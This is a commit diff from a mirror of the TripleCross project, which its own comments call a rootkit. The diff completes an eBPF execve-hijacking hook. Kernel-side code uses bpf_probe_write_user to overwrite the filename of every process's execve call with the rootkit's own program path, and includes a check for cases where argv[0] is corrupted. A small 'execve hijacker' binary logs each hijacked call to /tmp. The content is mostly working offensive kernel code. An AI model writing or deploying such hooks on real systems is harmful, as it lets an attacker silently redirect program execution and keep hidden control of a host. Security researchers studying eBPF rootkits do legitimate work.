mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-19 16:23:08 +08:00
Completed execve hijacking, as with special error cases that arise and that are documented in the code.
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -23,12 +23,65 @@ struct sys_execve_enter_ctx {
|
||||
unsigned long long unused;
|
||||
int __syscall_nr;
|
||||
unsigned int padding;
|
||||
char* filename;
|
||||
const char* filename;
|
||||
const char* const* argv;
|
||||
const char* const* envp;
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Checks for the error case 2 described in the execve handler when overwriting the filename userspace buffer.
|
||||
*
|
||||
* @param ctx
|
||||
* @return 0 if OK, -1 if error exists
|
||||
*/
|
||||
static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *ctx, char* org_filename, char* org_argv){
|
||||
unsigned char* argv[1] = {0};
|
||||
unsigned char filename[1] = {0};
|
||||
char* chosen_comp_char = "w\0";
|
||||
if(ctx==NULL || ctx->argv == NULL|| org_filename==NULL){
|
||||
return -1;
|
||||
}
|
||||
char org_argv_c;
|
||||
if(bpf_probe_read(&org_argv_c, 1, org_argv)<0){
|
||||
bpf_printk("Error reading test 3\n");
|
||||
return -1;
|
||||
}
|
||||
//if(str_n_compare((char*)org_argv, 1, (char*)chosen_comp_char, 1, 1)==0){
|
||||
if(org_argv_c == 'w'){
|
||||
//Better not to go with this case, we won't be able to know whether that was a coincidence
|
||||
bpf_printk("Equal from the start\n");
|
||||
return -1;
|
||||
}
|
||||
if(bpf_probe_write_user((void*)(ctx->filename), (void*)chosen_comp_char, 1)<0){
|
||||
bpf_printk("Error writing to user memory at test by %s\n", org_filename);
|
||||
return -1;
|
||||
}
|
||||
if(bpf_probe_read_user(&argv, 1, ctx->argv)<0){
|
||||
bpf_printk("Error reading test 1\n");
|
||||
return -1;
|
||||
};
|
||||
if(bpf_probe_read_user(&filename, 1, ctx->filename)<0){
|
||||
bpf_printk("Error reading tets 2\n");
|
||||
return -1;
|
||||
};
|
||||
char argv_c;
|
||||
if(bpf_probe_read(&argv_c, 1, org_argv)<0){
|
||||
bpf_printk("Error reading test 3\n");
|
||||
return -1;
|
||||
}
|
||||
if(argv_c == 'w'){
|
||||
//Now they are equal, so we are in the error case 2. We must revert our changes
|
||||
bpf_printk("Error case 2\n");
|
||||
bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("Char was %u\n", argv_c);
|
||||
//Everything went fine, but let's fix our modification anyways since the next write to user memory, which
|
||||
//implies more bytes, may fail.
|
||||
bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
||||
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
@@ -47,48 +100,81 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
||||
bpf_printk("Error reading 3\n");
|
||||
};
|
||||
|
||||
bpf_printk("ARGV0: %s\n", argv[0]);
|
||||
bpf_printk("OLD ARGV0: %s\n", argv[0]);
|
||||
bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
//bpf_printk("ENVP: %s\n", envp);
|
||||
bpf_printk("FILENAME: %s\n", filename);
|
||||
if((void*)ctx->filename==(void*)(ctx->argv)){
|
||||
bpf_printk("Equal pointers");
|
||||
}else{
|
||||
bpf_printk("Not equal pointers %u, %u", ctx->filename, ctx->argv);
|
||||
}
|
||||
|
||||
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
|
||||
//return 0;
|
||||
}
|
||||
|
||||
bpf_printk("Our file!\n");
|
||||
/*
|
||||
eBPF can only modify user memory, and thus we may find ourselves into trouble here
|
||||
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
|
||||
we receive an userspace buffer, but this is later tweaked via getname().
|
||||
Thus we may not have user-accessible memory, however from my experience it works _sometimes_.
|
||||
The idea is to hook all execve calls, but the first execution of our userspace helper will
|
||||
deactivate this hook.
|
||||
Also another solution could be to hook do_execve and access the filename struct, which still contians
|
||||
an userspace buffer inside.
|
||||
we receive an userspace buffer, which is later tweaked via getname().
|
||||
Since we are hooking before that call, we should have user-accessible memory, however from my experience it works *only sometimes*.
|
||||
This seems very related https://stackoverflow.com/questions/63114141/how-to-modify-userspace-memory-using-ebpf
|
||||
And this thread discusses the issue https://www.spinics.net/lists/bpf/msg16795.html
|
||||
However, there is no clear solution. bpf_probe_write_user is simply not reliable enough. Two problems arise:
|
||||
1* The call simply fails and returns EFAULT(-14). This happens apparently randomly in some calls, but for some paths it ALWAYS happens,
|
||||
while others always work.
|
||||
2* The call not only overwrites the filename, but also argv[0] with a single write. This may be related to userspace programs using
|
||||
the same buffer for both filename and argv[0], since it is the same data in the end. Accordingly, when this event happens both
|
||||
the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is a mystery.
|
||||
|
||||
Another solution could be to hook do_execve and access the filename struct, which still contians
|
||||
an userspace buffer with filename inside. However if we failed to overwrite it before, we will too now.
|
||||
Also we can overwrite the return value of the syscall, pass the arguments to the internal ring buffer, read it from the
|
||||
user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
|
||||
*/
|
||||
|
||||
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
|
||||
|
||||
#pragma unroll
|
||||
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
|
||||
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
|
||||
}
|
||||
|
||||
bpf_printk("To write: %s\n", to_write);
|
||||
if(argv[0]==NULL){
|
||||
return -1;
|
||||
}
|
||||
|
||||
long ret = bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM));
|
||||
if(ret<0){
|
||||
bpf_printk("Error writing to user memory %i\n", ret);
|
||||
//Provided that the case error 2 may happen, we check if we are on that case before going ahead and overwriting everything.
|
||||
if(test_write_user_unique(ctx, (char*)filename, (char*)argv[0])!=0){
|
||||
bpf_printk("Test failed\n");
|
||||
return -1;
|
||||
}else{
|
||||
bpf_printk("Test completed\n");
|
||||
}
|
||||
|
||||
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
|
||||
bpf_printk("Error writing to user memory by %s\n", filename);
|
||||
//bpf_printk("NEW ARGV0: %s\n", argv[0]);
|
||||
//bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
//bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
|
||||
unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||
bpf_printk("Error reading 3\n");
|
||||
bpf_printk("Error reading\n");
|
||||
};
|
||||
bpf_printk("NEW FILENAME: %s\n", newfilename);
|
||||
if(bpf_probe_read_user(&newargv, ARGUMENT_LENGTH, ctx->argv)<0){
|
||||
bpf_printk("Error reading 1\n");
|
||||
};
|
||||
|
||||
bpf_printk("SUCCESS NEW FILENAME: %s\n", newfilename);
|
||||
bpf_printk("NEW ARGV0: %s\n\n", newargv[0]);
|
||||
/*bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
bpf_printk("ORIGINAL %s\n\n", filename);*/
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -4,20 +4,42 @@
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
|
||||
char* buf = "A string";
|
||||
|
||||
int main(int argc, char* argv[]){
|
||||
printf("Hello world from execve hijacker\n");
|
||||
|
||||
time_t rawtime;
|
||||
struct tm * timeinfo;
|
||||
|
||||
time ( &rawtime );
|
||||
timeinfo = localtime ( &rawtime );
|
||||
char* timestr = asctime(timeinfo);
|
||||
|
||||
for(int ii=0; ii<argc; ii++){
|
||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||
}
|
||||
|
||||
int fd = open("/tmp/testcreated", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
||||
int fd = open("/tmp/execve_hijack", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
||||
|
||||
int ii = 0;
|
||||
while(*(timestr+ii)!='\0'){
|
||||
write(fd, timestr+ii, 1);
|
||||
ii++;
|
||||
}
|
||||
write(fd, "\t", 1);
|
||||
|
||||
ii = 0;
|
||||
while(*(argv[0]+ii)!='\0'){
|
||||
write(fd, argv[0]+ii, 1);
|
||||
ii++;
|
||||
}
|
||||
|
||||
write(fd, "\n", 1);
|
||||
|
||||
close(fd);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -25,7 +25,6 @@
|
||||
goto cleanup\
|
||||
}
|
||||
|
||||
|
||||
static struct env {
|
||||
bool verbose;
|
||||
} env;
|
||||
|
||||
Reference in New Issue
Block a user